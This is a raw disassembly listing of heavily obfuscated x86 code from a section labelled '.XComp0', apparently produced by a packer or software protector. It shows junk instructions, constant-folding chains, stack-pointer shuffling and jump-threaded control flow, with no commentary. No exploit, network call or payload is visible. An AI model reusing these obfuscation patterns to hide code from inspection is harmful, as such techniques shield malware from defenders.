; ---------------------------------------------------------------------------


loc_58B21D:				; CODE XREF: .XComp0:00597C6Dj
		add	al, bl
		push	49ABh
		mov	[esp], ecx
		jmp	loc_59778B
; ---------------------------------------------------------------------------


loc_58B22C:				; CODE XREF: .XComp0:0058D67Aj
		push	ebp
		mov	ebp, 76D26E82h
		neg	ebp
		xor	ebp, 21312FB4h
		sub	ebp, 61B57B2Fh
		sub	ebx, ebp
		pop	ebp
		pop	ecx
		add	ebx, eax
		jmp	loc_587DBA
; ---------------------------------------------------------------------------


loc_58B24B:				; CODE XREF: .XComp0:00589335j
		sub	eax, 778B593Fh
		sub	eax, 5C537E48h
		sub	eax, ebx
		add	eax, 5C537E48h
		add	eax, 778B593Fh
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_5860F5
; ---------------------------------------------------------------------------


loc_58B26F:				; CODE XREF: .XComp0:00586E4Dj
		mov	ebx, 606718E1h
		xor	ebx, 606718E5h
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_5865CE
; ---------------------------------------------------------------------------


loc_58B28C:				; CODE XREF: .XComp0:0058BA4Bj
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	63AAh
		jmp	loc_59177A
; ---------------------------------------------------------------------------


loc_58B2B2:				; CODE XREF: .XComp0:005970AAj
		pop	eax
		sub	edx, 51AC2587h
		mov	ecx, edx
		pop	edx
		add	eax, 3B373882h
		sub	eax, ecx
		sub	eax, 3B373882h
		push	dword ptr [esp]
		jmp	loc_589FC5
; ---------------------------------------------------------------------------


loc_58B2D0:				; CODE XREF: .XComp0:005928C0j
		mov	ebp, [esp]
		jmp	loc_583BF3
; ---------------------------------------------------------------------------


loc_58B2D8:				; CODE XREF: .XComp0:0059182Ej
		mov	ebp, esp
		push	ecx
		jmp	loc_598767
; ---------------------------------------------------------------------------


loc_58B2E0:				; CODE XREF: .XComp0:00583EEEj
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58C4FD
; ---------------------------------------------------------------------------


loc_58B300:				; CODE XREF: .XComp0:0058C4C6j
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_587648
; ---------------------------------------------------------------------------


loc_58B310:				; CODE XREF: .XComp0:005870AFj
		mov	esp, [esp]
		or	eax, eax
		jz	loc_58AD06
		push	4FB1h
		mov	[esp], edx
		jmp	loc_59045D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_58CD00
; ---------------------------------------------------------------------------


loc_58B337:				; CODE XREF: .XComp0:00588DCFj
		pop	eax
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_596B56
; ---------------------------------------------------------------------------


loc_58B353:				; CODE XREF: .XComp0:00586302j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 554936C7h
		shr	edx, 2
		shr	edx, 5
		neg	edx
		push	ebp
		push	ebx
		mov	ebx, 7F631404h
		mov	ebp, 0A6825E23h
		jmp	loc_58F69B
; ---------------------------------------------------------------------------


loc_58B377:				; CODE XREF: .XComp0:00598B47j
		mov	dl, 38h
		sub	dl, cl
		jmp	loc_58DC68
; ---------------------------------------------------------------------------


loc_58B380:				; CODE XREF: .XComp0:00590576j
		push	3975h
		mov	[esp], esp
		jmp	loc_5968C8
; ---------------------------------------------------------------------------


loc_58B38D:				; CODE XREF: .XComp0:00590C3Fj
		add	edi, 4
		jmp	loc_58850F
; ---------------------------------------------------------------------------


loc_58B398:				; CODE XREF: .XComp0:0058FDEEj
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		push	4E6Eh
		mov	[esp], eax
		push	ecx
		push	ebp
		push	68F35BAh
		jmp	loc_596ABD
; ---------------------------------------------------------------------------


loc_58B3C5:				; CODE XREF: .XComp0:00586CD4j
		pop	ebx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_58CEC4
; ---------------------------------------------------------------------------


loc_58B3D6:				; CODE XREF: .XComp0:00588089j
		add	esi, 4
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58CC23
; ---------------------------------------------------------------------------


loc_58B3EE:				; CODE XREF: .XComp0:005853C5j
		xchg	eax, [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5969D5
; ---------------------------------------------------------------------------


loc_58B3FC:				; CODE XREF: .XComp0:00592017j
		sub	eax, ecx
		pop	ecx
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		or	[edi+1Ch], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58B417:				; CODE XREF: .XComp0:0058C609j
		shr	ebx, 3
		shr	ebx, 7
		jmp	loc_5880F7
; ---------------------------------------------------------------------------


loc_58B422:				; CODE XREF: .XComp0:0058C3D9j
		add	esp, 4
		add	esp, 4
		jmp	loc_583FCF
; ---------------------------------------------------------------------------


loc_58B433:				; CODE XREF: .XComp0:005908CFj
		xor	esi, [esp]
		jmp	loc_58E14C
; ---------------------------------------------------------------------------


loc_58B43B:				; CODE XREF: .XComp0:005924BCj
		mov	[esp], eax
		push	2CEEh
		push	76E6h
		jmp	loc_59423F
; ---------------------------------------------------------------------------


loc_58B44D:				; CODE XREF: .XComp0:00587358j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5965CC
; ---------------------------------------------------------------------------


loc_58B463:				; CODE XREF: .XComp0:00596AF2j
		mov	[esp], ecx
		push	esi
		jmp	loc_58EDAD
; ---------------------------------------------------------------------------


loc_58B46C:				; CODE XREF: .XComp0:0058686Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_58C0FB
; ---------------------------------------------------------------------------


loc_58B48C:				; CODE XREF: .XComp0:005981D2j
		add	edx, 3AD576A5h
		jmp	loc_591F61
; ---------------------------------------------------------------------------


loc_58B497:				; CODE XREF: .XComp0:00583A73j
		add	al, bh
		add	al, 0CEh
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_597201
; ---------------------------------------------------------------------------


loc_58B4A6:				; CODE XREF: .XComp0:005965C7j
		sub	esp, 4
		jmp	loc_58BF36
; ---------------------------------------------------------------------------


loc_58B4AE:				; CODE XREF: .XComp0:00592A7Fj
		mov	al, 73h
		add	[esp+2], al
		pop	ax
		mov	cl, [esp]
		push	2914h
		mov	[esp], ebp
		mov	ebp, esp
		push	2214h
		mov	[esp], ecx
		jmp	loc_5975E0
; ---------------------------------------------------------------------------


loc_58B4D0:				; CODE XREF: .XComp0:00590C5Aj
		sub	[esp], cl
		add	byte ptr [esp],	35h
		jmp	loc_592A7D
; ---------------------------------------------------------------------------


loc_58B4DC:				; CODE XREF: .XComp0:00587826j
		pop	edi
		pop	ecx
		neg	edi
		push	ecx
		mov	ecx, 1
		sub	edi, 386A1BA2h
		add	edi, ecx
		add	edi, 386A1BA2h
		pop	ecx
		jmp	loc_58588D
; ---------------------------------------------------------------------------


loc_58B4FA:				; CODE XREF: .XComp0:005855ADj
		push	edi
		jmp	loc_5912CD
; ---------------------------------------------------------------------------


loc_58B500:				; CODE XREF: .XComp0:00588E08j
		mov	cl, dl
		pop	edx
		sub	al, 77h
		sub	al, cl
		push	edx
		mov	dl, 0A3h
		jmp	loc_597A6D
; ---------------------------------------------------------------------------


loc_58B50F:				; CODE XREF: .XComp0:005963DEj
		sub	ebx, 4
		jmp	loc_592590
; ---------------------------------------------------------------------------


loc_58B51A:				; CODE XREF: .XComp0:00594888j
		or	ecx, eax
		pop	eax
		xor	ecx, 658156C8h
		push	ecx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, 795F041Eh
		push	1032h
		jmp	loc_58821C
; ---------------------------------------------------------------------------


loc_58B543:				; CODE XREF: .XComp0:00595354j
		add	edx, 4
		jmp	loc_587C2B
; ---------------------------------------------------------------------------


loc_58B54E:				; CODE XREF: .XComp0:0059219Fj
		mov	edx, edi
		jmp	loc_584574
; ---------------------------------------------------------------------------


loc_58B555:				; CODE XREF: .XComp0:0058DF5Bj
		pop	esp
		sub	esp, 4
		jmp	loc_592429
; ---------------------------------------------------------------------------


loc_58B55E:				; CODE XREF: .XComp0:005945D9j
		mov	eax, [esp]
		jmp	loc_58DBFF
; ---------------------------------------------------------------------------


loc_58B566:				; CODE XREF: .XComp0:00594CB0j
		add	bl, dl
		pop	dx
		add	bl, al
		sub	bl, 9
		add	bl, 3Eh
		push	cx
		jmp	loc_58D90F
; ---------------------------------------------------------------------------


loc_58B579:				; CODE XREF: .XComp0:00583F5Bj
		mov	esi, [esp]
		jmp	loc_5876FB
; ---------------------------------------------------------------------------


loc_58B581:				; CODE XREF: .XComp0:0058ABF9j
		shl	edi, 8
		neg	edi
		sub	edi, 0BFCCA4CEh
		add	ecx, edi
		pop	edi
		jmp	loc_58E6A7
; ---------------------------------------------------------------------------


loc_58B594:				; CODE XREF: .XComp0:00589DA8j
		xor	ecx, 20D74838h
		jmp	loc_591FB7
; ---------------------------------------------------------------------------


loc_58B59F:				; CODE XREF: .XComp0:00596916j
		add	al, dh
		jmp	loc_58CD6C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	7486h
		mov	[esp], ebp
		jmp	loc_58E19B
; ---------------------------------------------------------------------------


loc_58B5B7:				; CODE XREF: .XComp0:005964D5j
		add	bh, cl
		jmp	loc_58E6B4
; ---------------------------------------------------------------------------


loc_58B5BE:				; CODE XREF: .XComp0:00590E84j
		push	ebx
		jmp	loc_58A874
; ---------------------------------------------------------------------------


loc_58B5C4:				; CODE XREF: .XComp0:0058B97Dj
		pop	edx
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_59398A
; ---------------------------------------------------------------------------


loc_58B5CF:				; CODE XREF: .XComp0:005908E6j
		pop	ecx
		push	ecx
		push	esi
		mov	esi, 1CD97E21h
		push	eax
		mov	eax, 9397F83Ch
		jmp	loc_585146
; ---------------------------------------------------------------------------


loc_58B5E2:				; CODE XREF: .XComp0:00595CD3j
		add	esp, 2
		mov	ah, cl
		pop	ecx
		add	ah, 68h
		inc	ah
		jmp	loc_594A7D
; ---------------------------------------------------------------------------


loc_58B5F5:				; CODE XREF: .XComp0:0058C8C4j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5965C6
; ---------------------------------------------------------------------------


loc_58B61C:				; CODE XREF: .XComp0:00586C92j
		mov	[esp], esi
		jmp	loc_5883DC
; ---------------------------------------------------------------------------


loc_58B624:				; CODE XREF: .XComp0:00583B16j
		add	esp, 4
		jmp	loc_5843B1
; ---------------------------------------------------------------------------


loc_58B62C:				; CODE XREF: .XComp0:0058E353j
		mov	ecx, edx
		pop	edx
		pop	edi
		jmp	loc_5884FC
; ---------------------------------------------------------------------------


loc_58B635:				; CODE XREF: .XComp0:00585888j
		add	eax, 22B10C60h
		pop	esi
		add	eax, ebp
		sub	eax, 74265E79h
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		push	esi
		mov	esi, 1BF9785Dh
		xor	esi, 18B4250Fh
		mov	ecx, esi
		jmp	loc_58FA89
; ---------------------------------------------------------------------------


loc_58B65F:				; CODE XREF: .XComp0:00594B37j
		sub	esp, 4
		jmp	loc_5931D0
; ---------------------------------------------------------------------------


loc_58B66A:				; CODE XREF: .XComp0:00596808j
		mov	ebx, 3B501239h
		xor	ebx, 73BE5964h
		jmp	loc_583D78
; ---------------------------------------------------------------------------


loc_58B67A:				; CODE XREF: .XComp0:0059707Dj
		add	ecx, ebx
		jmp	loc_586E75
; ---------------------------------------------------------------------------


loc_58B681:				; CODE XREF: .XComp0:0058D129j
		push	edi
		jmp	loc_5979F9
; ---------------------------------------------------------------------------


loc_58B687:				; CODE XREF: .XComp0:0058D893j
		sub	edx, 4B562C6h
		jmp	loc_58E340
; ---------------------------------------------------------------------------


loc_58B692:				; CODE XREF: .XComp0:0059269Fj
		add	esp, 4
		dec	edi
		shl	edi, 1
		add	edi, 0EDF1770Eh
		push	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5923B4
; ---------------------------------------------------------------------------


loc_58B6AA:				; CODE XREF: .XComp0:005934E0j
		add	ecx, 4
		jmp	loc_590B55
; ---------------------------------------------------------------------------


loc_58B6B5:				; CODE XREF: .XComp0:005902C3j
		add	ebp, ebx
		jmp	loc_592170
; ---------------------------------------------------------------------------


loc_58B6BC:				; CODE XREF: .XComp0:00591FF2j
		pop	edx
		push	0A1Eh
		mov	[esp], edi
		mov	edi, 0FAE4965h
		push	ebx
		mov	ebx, 844332Ah
		sub	edi, ebx
		jmp	loc_5952F0
; ---------------------------------------------------------------------------


loc_58B6D7:				; CODE XREF: .XComp0:00593423j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58B0D5
; ---------------------------------------------------------------------------


loc_58B6E9:				; CODE XREF: .XComp0:00588334j
		mov	ebx, 4
		jmp	loc_58BC4B
; ---------------------------------------------------------------------------


loc_58B6F3:				; CODE XREF: .XComp0:0058F696j
		add	eax, edi
		sub	eax, 4B0E7629h
		pop	edi
		add	eax, 4
		push	eax
		jmp	loc_58AE77
; ---------------------------------------------------------------------------


loc_58B704:				; CODE XREF: .XComp0:00596CBEj
		pop	esp
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		push	ecx
		jmp	loc_58FC17
; ---------------------------------------------------------------------------


loc_58B713:				; CODE XREF: .XComp0:0058FB31j
		push	ecx
		mov	ecx, 13FA38E7h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, 13FA38E3h
		jmp	loc_59629F
; ---------------------------------------------------------------------------


loc_58B72C:				; CODE XREF: .XComp0:005959A9j
		dec	ecx
		shl	ecx, 5
		jmp	loc_590AB4
; ---------------------------------------------------------------------------


loc_58B735:				; CODE XREF: .XComp0:00586017j
		and	eax, 113734DDh
		add	eax, 4DDD392Dh
		add	eax, 0A0EFC1FAh
		add	edi, eax
		pop	eax
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5909EE
; ---------------------------------------------------------------------------


loc_58B758:				; CODE XREF: .XComp0:0058BFBDj
		xor	ah, bl
		pop	ebx
		inc	ah
		push	edx
		push	ecx
		mov	ch, 1
		mov	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		push	dx
		jmp	loc_58F7A0
; ---------------------------------------------------------------------------


loc_58B773:				; CODE XREF: .XComp0:00594527j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58B77D:				; CODE XREF: .XComp0:00598581j
		sub	ebx, esi
		sub	ebx, 13F23ADh
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_584E50
; ---------------------------------------------------------------------------


loc_58B79C:				; CODE XREF: .XComp0:005986CEj
		push	3186h
		jmp	loc_584AB7
; ---------------------------------------------------------------------------


loc_58B7A6:				; CODE XREF: .XComp0:005931ABj
		xchg	edx, [esp]
		pop	esp
		xor	bh, 87h
		shl	bh, 3
		jmp	loc_58A7C8
; ---------------------------------------------------------------------------


loc_58B7B5:				; CODE XREF: .XComp0:00592539j
		sub	edx, 0FFFFFFFFh
		or	edx, 471A11DCh
		jmp	loc_598F12
; ---------------------------------------------------------------------------


loc_58B7C6:				; CODE XREF: .XComp0:00594B03j
		push	esi
		mov	esi, 5BE959D4h
		add	ebx, esi
		pop	esi
		jmp	loc_58C7EE
; ---------------------------------------------------------------------------


loc_58B7D4:				; CODE XREF: .XComp0:00589537j
		push	small 34E1h
		jmp	loc_587F61
; ---------------------------------------------------------------------------


loc_58B7DD:				; CODE XREF: .XComp0:005843F0j
		push	eax
		mov	eax, 21A24D30h
		mov	ebp, 86915BA0h
		sub	ebp, eax
		pop	eax
		jmp	loc_586C34
; ---------------------------------------------------------------------------


loc_58B7F0:				; CODE XREF: .XComp0:005917C5j
		add	esp, 4
		push	edx
		mov	edx, 132A4EC6h
		and	edx, 196D08E9h
		push	ebx
		mov	ebx, 0DF87F079h
		sub	edx, ebx
		pop	ebx
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		shl	esi, 7
		jmp	loc_58A309
; ---------------------------------------------------------------------------


loc_58B81E:				; CODE XREF: .XComp0:00590E68j
		sub	esi, eax
		jmp	loc_595576
; ---------------------------------------------------------------------------


loc_58B825:				; CODE XREF: .XComp0:00586A12j
		mov	esi, 1C36217Eh
		jmp	loc_5867EA
; ---------------------------------------------------------------------------


loc_58B82F:				; CODE XREF: .XComp0:00583D41j
		xor	esi, 46557C46h
		xor	esi, 1A8E5ED8h
		push	eax
		mov	eax, esi
		jmp	loc_59281F
; ---------------------------------------------------------------------------


loc_58B843:				; CODE XREF: .XComp0:0058F179j
		add	edx, 0FFFFFFFFh
		push	edx
		not	dword ptr [esp]
		pop	edx
		shr	edx, 1
		jmp	loc_59585B
; ---------------------------------------------------------------------------


loc_58B852:				; CODE XREF: .XComp0:00595B35j
		push	eax
		jmp	loc_59663C
; ---------------------------------------------------------------------------


loc_58B858:				; CODE XREF: .XComp0:00583E06j
		xchg	ecx, [esp]
		jmp	loc_584DB1
; ---------------------------------------------------------------------------


loc_58B860:				; CODE XREF: .XComp0:0058E7B9j
		push	ebp
		mov	ebp, 2A014BBAh
		jmp	loc_58A282
; ---------------------------------------------------------------------------


loc_58B86B:				; CODE XREF: .XComp0:00591D96j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	2FD4h
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_58BCA8
; ---------------------------------------------------------------------------


loc_58B88C:				; CODE XREF: .XComp0:005978D4j
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	ebp
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	2D6Bh
		mov	[esp], eax
		push	esp
		jmp	loc_58D8CD
; ---------------------------------------------------------------------------


loc_58B8AA:				; CODE XREF: .XComp0:00584C6Dj
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		movzx	cx, al
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_587579
; ---------------------------------------------------------------------------


loc_58B8C1:				; CODE XREF: .XComp0:00598961j
		mov	[esp], edx
		jmp	loc_5904C0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_598E65
; ---------------------------------------------------------------------------


loc_58B8D1:				; CODE XREF: .XComp0:0058EE33j
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		push	ebp
		mov	ebp, esp
		push	edi
		push	ecx
		push	4714h
		mov	[esp], ebp
		mov	ebp, 608E053Ch
		jmp	loc_596A7C
; ---------------------------------------------------------------------------


loc_58B8F7:				; CODE XREF: .XComp0:00588D34j
		and	edi, ecx
		pop	ecx
		neg	edi
		sub	edi, 0A81BC897h
		jmp	loc_589F87
; ---------------------------------------------------------------------------


loc_58B907:				; CODE XREF: .XComp0:005857E1j
		pop	dword ptr [esp]
		jmp	loc_5906C8
; ---------------------------------------------------------------------------


loc_58B90F:				; CODE XREF: .XComp0:0058D9FCj
		mov	[esp], ebp
		mov	ebp, 19C27A00h
		xor	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_590E7E
; ---------------------------------------------------------------------------


loc_58B936:				; CODE XREF: .XComp0:00590076j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_588B9D
; ---------------------------------------------------------------------------


loc_58B949:				; CODE XREF: .XComp0:0058DB56j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		jmp	loc_598572
; ---------------------------------------------------------------------------


loc_58B95D:				; CODE XREF: .XComp0:005909D4j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58BE44
; ---------------------------------------------------------------------------


loc_58B968:				; CODE XREF: .XComp0:0058C41Fj
		mov	ebx, 125Ch
		mov	esi, 0DB833C6h
		add	esi, ebx
		jmp	loc_594AF2
; ---------------------------------------------------------------------------


loc_58B979:				; CODE XREF: .XComp0:00583AE9j
		pop	eax
		push	dword ptr [esp]
		jmp	loc_58B5C4
; ---------------------------------------------------------------------------


loc_58B982:				; CODE XREF: .XComp0:0058BE8Cj
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, al
		pop	eax
		pop	edx
		jmp	loc_59356D
; ---------------------------------------------------------------------------


loc_58B991:				; CODE XREF: .XComp0:0058D403j
		pop	ebp
		push	ecx
		mov	ecx, 6F7934F2h
		sub	ecx, 4AAA07DFh
		sub	ebx, ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_58DDD7
; ---------------------------------------------------------------------------


loc_58B9B3:				; CODE XREF: .XComp0:00594203j
		pop	esi
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_58A94B
; ---------------------------------------------------------------------------


loc_58B9D1:				; CODE XREF: .XComp0:00596306j
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		add	esp, 4
		push	6174h
		mov	[esp], edx
		push	ecx
		push	5DBB47C5h
		jmp	loc_5956A5
; ---------------------------------------------------------------------------


loc_58BA01:				; CODE XREF: .XComp0:00597C2Aj
		movsx	cx, al
		push	ecx
		push	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_592CD5
; ---------------------------------------------------------------------------


loc_58BA27:				; CODE XREF: .XComp0:00591577j
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_594C4B
; ---------------------------------------------------------------------------


loc_58BA38:				; CODE XREF: .XComp0:00596B0Dj
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58B28C
; ---------------------------------------------------------------------------


loc_58BA50:				; CODE XREF: .XComp0:00598FA6j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 75436DC8h
		push	3E03h
		mov	[esp], ebp
		push	esi
		mov	esi, 72932554h
		push	esi
		mov	esi, 1643E4h
		mov	ebp, esi
		jmp	loc_587C7C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1DCh
		jmp	loc_589DD0
; ---------------------------------------------------------------------------


loc_58BA87:				; CODE XREF: .XComp0:00598BCEj
		mov	ecx, esp
		push	edx
		push	4
		pop	edx
		jmp	loc_583E29
; ---------------------------------------------------------------------------


loc_58BA95:				; CODE XREF: .XComp0:005865F4j
		push	esi
		push	57276CB4h
		pop	esi
		jmp	loc_5862BC
; ---------------------------------------------------------------------------


loc_58BAA1:				; CODE XREF: .XComp0:00587A60j
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58DEE9
; ---------------------------------------------------------------------------


loc_58BAB7:				; CODE XREF: .XComp0:005911A3j
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_588AB0
; ---------------------------------------------------------------------------


loc_58BACE:				; CODE XREF: .XComp0:0058F4E9j
		add	edi, esi
		pop	esi
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_587A27
; ---------------------------------------------------------------------------


loc_58BAE3:				; CODE XREF: .XComp0:005937FDj
		add	ecx, edi
		pop	edi
		push	edx
		mov	edx, 2
		add	ecx, edx
		pop	edx
		push	6A91h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_58CC59
; ---------------------------------------------------------------------------


loc_58BB00:				; CODE XREF: .XComp0:00585C77j
		push	edx
		pop	ecx
		pop	edx
		jmp	loc_593D7F
; ---------------------------------------------------------------------------


loc_58BB08:				; CODE XREF: .XComp0:00591F0Cj
		push	ebx
		push	ecx
		mov	ch, 4
		mov	bh, ch
		pop	ecx
		mov	cl, bh
		jmp	loc_591994
; ---------------------------------------------------------------------------


loc_58BB16:				; CODE XREF: .XComp0:00589BFAj
		add	edi, 0A926DDAh
		sub	ebx, edi
		pop	edi
		jmp	loc_58D333
; ---------------------------------------------------------------------------


loc_58BB24:				; CODE XREF: .XComp0:005851A2j
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58BB2C:				; CODE XREF: .XComp0:005912B6j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		neg	ecx
		xchg	ecx, edx
		jmp	loc_596813
; ---------------------------------------------------------------------------


loc_58BB3F:				; CODE XREF: .XComp0:0059830Bj
		sub	esp, 4
		mov	[esp], esi
		xor	dword ptr [esp], 667641B1h
		pop	ecx
		xor	ecx, 667641B1h
		pop	esi
		jmp	loc_587EA0
; ---------------------------------------------------------------------------


loc_58BB5C:				; CODE XREF: .XComp0:005981FFj
		pop	esi
		sub	ebx, edx
		pop	edx
		jmp	loc_58A6FD
; ---------------------------------------------------------------------------


loc_58BB65:				; CODE XREF: .XComp0:00585F0Dj
		add	ecx, 0B1E6E88h
		jmp	loc_58D327
; ---------------------------------------------------------------------------


loc_58BB70:				; CODE XREF: .XComp0:0058762Cj
		mov	[esp], ecx
		push	ebx
		mov	bl, al
		mov	cl, bl
		pop	ebx
		mov	dh, cl
		mov	ecx, [esp]
		jmp	loc_58E008
; ---------------------------------------------------------------------------


loc_58BB83:				; CODE XREF: .XComp0:0058D54Fj
		mov	[esp], ebp
		jmp	loc_5989FD
; ---------------------------------------------------------------------------


loc_58BB8B:				; CODE XREF: .XComp0:00583D73j
		push	eax
		push	ecx
		mov	ecx, 7ACF3294h
		add	ecx, 1
		not	ecx
		add	ecx, 7ACF329Ah
		jmp	loc_58FA7F
; ---------------------------------------------------------------------------


loc_58BBA5:				; CODE XREF: .XComp0:00593288j
		push	eax
		mov	eax, 4C7914FBh
		inc	eax
		shl	eax, 2
		not	eax
		shl	eax, 8
		sub	eax, 0F90FABE0h
		xor	ebx, eax
		pop	eax
		jmp	loc_594307
; ---------------------------------------------------------------------------


loc_58BBC1:				; CODE XREF: .XComp0:005858DEj
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, bh
		push	ebx
		jmp	loc_58E495
; ---------------------------------------------------------------------------


loc_58BBD2:				; CODE XREF: .XComp0:005903AEj
		mov	[esp], esi
		jmp	loc_5897EA
; ---------------------------------------------------------------------------


loc_58BBDA:				; CODE XREF: .XComp0:00597BEDj
		inc	edi
		add	edi, 37B8FE97h
		sub	eax, edi
		jmp	loc_590D5E
; ---------------------------------------------------------------------------


loc_58BBE8:				; CODE XREF: .XComp0:005881A7j
		xor	edx, ecx
		jmp	loc_58EA5C
; ---------------------------------------------------------------------------


loc_58BBEF:				; CODE XREF: .XComp0:00593700j
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_58D358
; ---------------------------------------------------------------------------


loc_58BC0A:				; CODE XREF: .XComp0:005851F7j
		push	ecx
		mov	ecx, 649D5FA4h
		mov	ebx, ecx
		jmp	loc_584B6C
; ---------------------------------------------------------------------------


loc_58BC17:				; CODE XREF: .XComp0:0058E175j
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0AA7190Dh
		jmp	loc_589F47
; ---------------------------------------------------------------------------


loc_58BC32:				; CODE XREF: .XComp0:00590041j
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58BC3D:				; CODE XREF: .XComp0:0058958Bj
		mov	ebx, [esp]
		jmp	loc_59079C
; ---------------------------------------------------------------------------


loc_58BC45:				; CODE XREF: .XComp0:0058759Ej
		pop	ecx
		jmp	loc_58EF99
; ---------------------------------------------------------------------------


loc_58BC4B:				; CODE XREF: .XComp0:0058B6EEj
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58FB7B
; ---------------------------------------------------------------------------


